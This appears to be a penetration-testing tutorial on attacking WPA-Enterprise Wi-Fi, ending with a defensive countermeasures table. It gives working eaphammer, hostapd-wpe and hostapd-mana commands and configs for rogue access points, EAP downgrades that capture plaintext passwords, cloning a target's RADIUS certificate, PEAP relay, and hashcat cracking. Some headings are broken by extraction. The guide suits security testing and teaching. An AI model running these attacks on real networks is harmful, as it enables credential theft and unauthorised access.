WPA-Enterprise Attacks
WPA-Enterprise uses 802.1X authentication (RADIUS). Common EAP types include PEAP, EAP-TLS, and EAP-TTLS. Attacks focus on capturing EAP credentials or downgrading authentication methods.
Tooling & Environment
- • Wireless adapter with monitor mode enabled
- •
hostapd-wpeoreaphammerinstalled - • Familiarity with the 802.1X authentication flow and EAP types
- • Self-signed certificate for a rogue AP (generated by the tools automatically)
- • Test environment with a WPA-Enterprise RADIUS server (FreeRADIUS recommended)
Why Certificate Validation Matters
hashcat -m 5500.
EAP Type Overview
| EAP Type | Inner Auth | Cert Required | Attack Surface | Difficulty |
|---|---|---|---|---|
| PEAP-MSCHAPv2 | MSCHAPv2 | Server only | High — credentials capturable if cert not validated | Easy |
| EAP-TTLS/PAP | PAP (plaintext) | Server only | Critical — plaintext password in tunnel | Easy |
| EAP-TTLS/MSCHAPv2 | MSCHAPv2 | Server only | High — same as PEAP | Easy |
| EAP-TLS | Certificate | Both (mutual) | Low — requires client cert theft | Hard |
| EAP-GTC | Token/OTP | Server only | Medium — can capture tokens | Medium |
| EAP-FAST | PAC (Cisco) | Optional | Medium — Anonymous PAC provisioning = vulnerable | Medium |
Credential Capture (hostapd-wpe)
Attack Vectors
- Evil Twin with hostapd-wpe: Captures MSCHAP credentials when clients connect to a fake AP.
- Certificate Impersonation: Many clients don't properly validate server certs. hostapd-wpe generates self-signed certs.
- PEAP Downgrade: Force clients to use less secure authentication.
- Offline Dictionary Attack: Captured EAP-MSCHAPv2 can be cracked offline.
Eaphammer Advanced Usage
Eaphammer is the most capable tool for WPA-Enterprise attacks. It automates rogue AP setup, certificate generation, credential capture, and EAP downgrade attacks.
# Install eaphammer
git clone https://github.com/s0lst1c3/eaphammer
cd eaphammer
./kali-setup# Generate certificates mimicking the target organization
# This creates a cert chain that looks like "CorpWiFi RADIUS"
./eaphammer --cert-wizard
# When prompted:
# Country: US
# State: California
# Locality: San Francisco
# Organization: Target Corp IT ← match target's cert if known
# Email: admin@targetcorp.com
# CN: radius.targetcorp.com ← match target's CN exactly# Basic credential capture — most common attack
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds
# Capture with hostile portal (phishing page after connection)
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --hostile-portal
# GTC downgrade — force clients to send plaintext credentials
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds --negotiate gtc-downgrade
# PEAP downgrade with simultaneous deauthentication
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds \
--auth peap --negotiate gtc-downgrade \
--deauth-iface wlan1mon --known-beaconsEAP Downgrade Attacks
EAP downgrade attacks exploit the negotiation process. The rogue RADIUS server offers a weaker inner authentication method. If the client supplicant accepts it (most do by default), credentials are captured in a more exploitable format.
GTC Downgrade = Plaintext Credentials
GTC Downgrade with hostapd-wpe
# Edit hostapd-wpe.conf to force GTC
# Change the eap_user_file to offer GTC as first EAP method:
# /etc/hostapd-wpe/hostapd-wpe.eap_user
# Phase 1 — accept any outer method
* PEAP,TTLS
# Phase 2 — offer GTC first, then MSCHAPv2 as fallback
"t" GTC,MSCHAPV2 "t" [2]
# Run the attack
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Output on successful GTC capture:
# EAP-GTC: Username: john.smith
# EAP-GTC: Password: Example-P@ssw0rd!EAP-TTLS/PAP Downgrade
Similar to GTC — if the client accepts EAP-TTLS, the inner authentication can be switched to PAP, which sends the password in cleartext inside the TLS tunnel (which terminates at your rogue RADIUS).
# Eaphammer — TTLS/PAP downgrade
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds \
--auth ttls --negotiate pap
# Captured output:
# EAP-TTLS/PAP: Username: admin@corp
# EAP-TTLS/PAP: Password: P@ssw0rd123Identifying Downgrade Vulnerability
Before attacking, determine if the target's supplicant configuration is vulnerable to downgrade:
| OS / Supplicant | GTC Vulnerable | PAP Vulnerable | Notes |
|---|---|---|---|
| Windows (NativeSup) | No | No | Only accepts configured inner method |
| macOS / iOS | Yes | No | Accepts GTC if user clicks "Trust" |
| Android (wpa_supplicant) | Yes | Yes | Highly variable by manufacturer & version |
| Linux (NetworkManager) | Yes | Yes | Depends on supplicant config |
| ChromeOS | No | No | Enforces configured EAP method |
Certificate Impersonation
WPA-Enterprise relies on the client trusting the RADIUS server's certificate. Most enterprise deployments fail to enforce certificate pinning — clients show a prompt and the user clicks "Trust".
Reconnaissance — Extract Target Certificate
# Connect to the real network with a test device configured for the
# enterprise SSID, then extract the RADIUS certificate from the capture
# Extract cert from a pcap capture
tshark -r enterprise-capture.pcap -Y "eap && tls.handshake.certificate" \
-T fields -e tls.handshake.certificate 2>/dev/null
# The server certificate lives inside the EAP-TLS tunnel, so it cannot be
# pulled by connecting to the RADIUS port directly — use the capture above.
# Parse the extracted cert details to clone
openssl x509 -in radius-cert.pem -noout -subject -issuer -dates
# subject=CN = radius.targetcorp.com
# issuer=CN = TargetCorp Root CA
# notBefore=Jan 1 00:00:00 2024 GMT
# notAfter=Dec 31 23:59:59 2026 GMTClone & Deploy Impersonated Certificate
# Generate a matching cert chain with eaphammer
./eaphammer --cert-wizard
# Or manually with OpenSSL:
# 1. Create fake root CA matching target's CA name
# (RSA-3072; real CAs increasingly use ECDSA — -newkey ec -pkeyopt ec_paramgen_curve:prime256v1)
openssl req -x509 -newkey rsa:3072 -keyout fakeCA.key -out fakeCA.pem \
-days 365 -nodes -subj "/CN=TargetCorp Root CA/O=TargetCorp"
# 2. Create server cert signed by fake CA
openssl req -newkey rsa:3072 -keyout server.key -out server.csr \
-nodes -subj "/CN=radius.targetcorp.com/O=TargetCorp IT"
openssl x509 -req -in server.csr -CA fakeCA.pem -CAkey fakeCA.key \
-CAcreateserial -out server.pem -days 365
# 3. Deploy with hostapd-wpe
# Update hostapd-wpe.conf:
# ca_cert=/path/to/fakeCA.pem
# server_cert=/path/to/server.pem
# private_key=/path/to/server.keyPEAP Relay (hostapd-mana + wpa_sycophant)
A PEAP relay attack bypasses credential cracking entirely. Instead of capturing the MSCHAPv2
challenge-response and recovering the password offline, the attacker relays the live exchange.
A rogue AP running hostapd-mana with enable_sycophant terminates the
victim's outer PEAP tunnel; a modified supplicant, wpa_sycophant, relays the inner
MSCHAPv2 exchange to the legitimate AP. The relay completes the authentication, so the attacker
authenticates to the real network as the victim without cracking the password.
SensePost published the technique as "PEAP Relay Attacks with wpa_sycophant".
The rogue AP sits between the victim and the legitimate infrastructure:
[Victim Client] ←WiFi→ [hostapd-mana rogue AP] ↔ [wpa_sycophant] ←WiFi→ [Legitimate AP].
hostapd-mana captures the victim's PEAP conversation and writes the first half of the
challenge-response to the sycophant directory, where wpa_sycophant picks it up and completes the
matching authentication against the real AP.
Scope: PEAP-MSCHAPv2 Only
eaphammer --relay Does Not Exist
--relay mode. The real PEAP relay
is hostapd-mana with enable_sycophant, paired with wpa_sycophant.
Rogue AP: hostapd-mana
git clone https://github.com/sensepost/hostapd-mana
cd hostapd-mana/hostapd
make
# hostapd-mana.conf
interface=wlan0
ssid=CorpWiFi
channel=6
wpa=2
wpa_key_mgmt=WPA-EAP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=rogue-ca.pem
server_cert=server.pem
private_key=server.key
enable_sycophant=1
sycophant_dir=/tmp/
sudo ./hostapd-mana hostapd-mana.confEvil Client: wpa_sycophant
git clone https://github.com/sensepost/wpa_sycophant
cd wpa_sycophant
make -C wpa_supplicant
cp wpa_sycophant_example.conf wpa_sycophant.conf
# Set ssid to the target network and bssid_blacklist to your own rogue AP.
# The identity and password stay empty — the relay fills them in.
sudo ./wpa_sycophant.sh -c wpa_sycophant.conf -i wlan1Why It Works & How It Fails
The relay depends on the victim's supplicant terminating the outer PEAP tunnel at the rogue AP without validating the server certificate, while leaving the inner MSCHAPv2 exchange intact. Two controls break it:
- Server certificate validation — a client that pins the RADIUS CA and checks the server name never completes the outer tunnel with the rogue AP, so there is nothing to relay.
- PEAP cryptobinding — cryptobinding ties the inner MSCHAPv2 response to the outer TLS tunnel, so a response captured on one tunnel cannot be replayed on another. wpa_sycophant requests
crypto_binding=0to steer the client away from it, and cryptobinding is often disabled by default on Windows, Android, and iOS clients — which is why the relay succeeds there.
Sources: SensePost, "PEAP Relay Attacks with wpa_sycophant" · github.com/sensepost/wpa_sycophant · github.com/sensepost/hostapd-mana
Cracking MSCHAP Hashes
Crack captured MSCHAP hashes (Format: username::::response:challenge) using Hashcat mode 5500.
# Basic dictionary attack
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt
# With rules for better coverage
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Enterprise passwords are often stronger — use targeted wordlists
# Company name + year + special chars pattern
hashcat -m 5500 hashes.txt -a 3 'CorpName?d?d?d?d?s'
# NetNTLMv1 hashes (also mode 5500) can be recovered from precomputed
# rainbow tables if a full crack is too slow.Defensive Countermeasures
| Defense | Prevents | Implementation |
|---|---|---|
| Certificate pinning (MDM) | Evil twin, cert impersonation | Deploy RADIUS CA via MDM profile — Intune, JAMF, Workspace ONE |
| EAP-TLS (mutual cert) | All credential capture, relay | Issue client certs via PKI — strongest protection |
| Server name constraint | Cert impersonation | Configure supplicant to check CN/SAN matches expected RADIUS |
| RADIUS MAC binding | Relay attacks | Verify Calling-Station-Id matches registered device MACs |
| Lock inner EAP method | GTC/PAP downgrade | GPO/MDM: force PEAP-MSCHAPv2 only, reject alternatives |
| WIDS/WIPS | Rogue AP detection | Cisco CleanAir, Aruba WIDS, Kismet alerting |
Verify It Worked
| Check | Expected | Where to look |
|---|---|---|
| Cloned certificate parses | openssl x509 -in radius-cert.pem -noout -subject -issuer -dates shows the target CN, issuer and validity dates | The certificate parse |
| MSCHAP captured | hostapd-wpe or eaphammer prints credentials in username::::response:challenge form | The tool output |
| Downgrade yields plaintext | The GTC or TTLS/PAP run prints Username: and Password: in cleartext | The downgrade attack output |
| Hash cracks or relay succeeds | hashcat -m 5500 recovers the password, or the hostapd-mana relay completes authentication without cracking | The hashcat run / relay log |